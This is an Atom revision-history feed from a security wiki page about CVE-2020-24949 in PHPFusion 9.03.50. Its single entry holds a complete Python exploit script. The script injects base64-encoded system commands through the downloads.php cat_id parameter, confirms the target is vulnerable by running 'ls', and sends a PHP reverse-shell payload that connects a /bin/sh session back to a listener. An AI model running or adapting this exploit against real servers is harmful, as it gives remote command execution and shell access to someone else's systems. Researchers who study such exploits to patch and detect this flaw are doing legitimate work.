<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-24949_PHPFusion_9.03.50_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-24949 PHPFusion 9.03.50 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-24949_PHPFusion_9.03.50_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24949_PHPFusion_9.03.50_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T19:40:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-24949_PHPFusion_9.03.50_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3598&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: PHPFusion 9.03.50 - Remote Code Execution # Date: 20/05/2021 # Exploit Author: g0ldm45k # Vendor Homepage: https://www.php-fusion.co.uk/home.php...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24949_PHPFusion_9.03.50_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3598&amp;oldid=prev"/>
		<updated>2021-05-28T09:44:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: PHPFusion 9.03.50 - Remote Code Execution # Date: 20/05/2021 # Exploit Author: g0ldm45k # Vendor Homepage: https://www.php-fusion.co.uk/home.php...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution&lt;br /&gt;
# Date: 20/05/2021&lt;br /&gt;
# Exploit Author: g0ldm45k&lt;br /&gt;
# Vendor Homepage: https://www.php-fusion.co.uk/home.php&lt;br /&gt;
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&amp;amp;download_id=606&lt;br /&gt;
# Version: 9.03.50&lt;br /&gt;
# Tested on: Docker + Debian GNU/Linux 8 (jessie)&lt;br /&gt;
# CVE : CVE-2020-24949&lt;br /&gt;
# Found by: ThienNV&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import base64&lt;br /&gt;
import argparse&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PAYLOAD = &amp;quot;php -r '$sock=fsockopen(\&amp;quot;127.0.0.1\&amp;quot;,4444);exec(\&amp;quot;/bin/sh -i &amp;lt;&amp;amp;4 &amp;gt;&amp;amp;4 2&amp;gt;&amp;amp;4\&amp;quot;);'  &amp;quot; # !!spaces are important in order to avoid ==!!&lt;br /&gt;
REQUEST_PAYLOAD = &amp;quot;/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with &amp;quot;Allow PHP Execution&amp;quot; enabled.')&lt;br /&gt;
parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')&lt;br /&gt;
parser.add_argument(&amp;quot;-v&amp;quot;, &amp;quot;--no-verify&amp;quot;, action=&amp;quot;store_false&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
if args.target.startswith(&amp;quot;http://&amp;quot;) or args.target.startswith(&amp;quot;https://&amp;quot;):&lt;br /&gt;
    target = args.target&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;[!] Target should start with either http:// or https://&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
# verify payload&lt;br /&gt;
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode(&amp;quot;ascii&amp;quot;)&lt;br /&gt;
if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:&lt;br /&gt;
    print(&amp;quot;[!] Invalid payload, make sure it does not contain a + or a =!&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
# verify vulnerable host&lt;br /&gt;
if args.no_verify:&lt;br /&gt;
    page_data = requests.get(target + &amp;quot;/infusions/downloads/downloads.php?cat_id=${system(ls)}&amp;quot;)&lt;br /&gt;
    if &amp;quot;infusion_db.php&amp;quot; not in page_data.text:&lt;br /&gt;
        print(&amp;quot;[!] Can't seem to find infusion_db.php. QUITTING!&amp;quot;)&lt;br /&gt;
        print(&amp;quot;[!] If this validation is wrong just use the --no-verify flag.&amp;quot;)&lt;br /&gt;
        exit()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# send request&lt;br /&gt;
requests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] Requests send, did you get what you wanted?&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>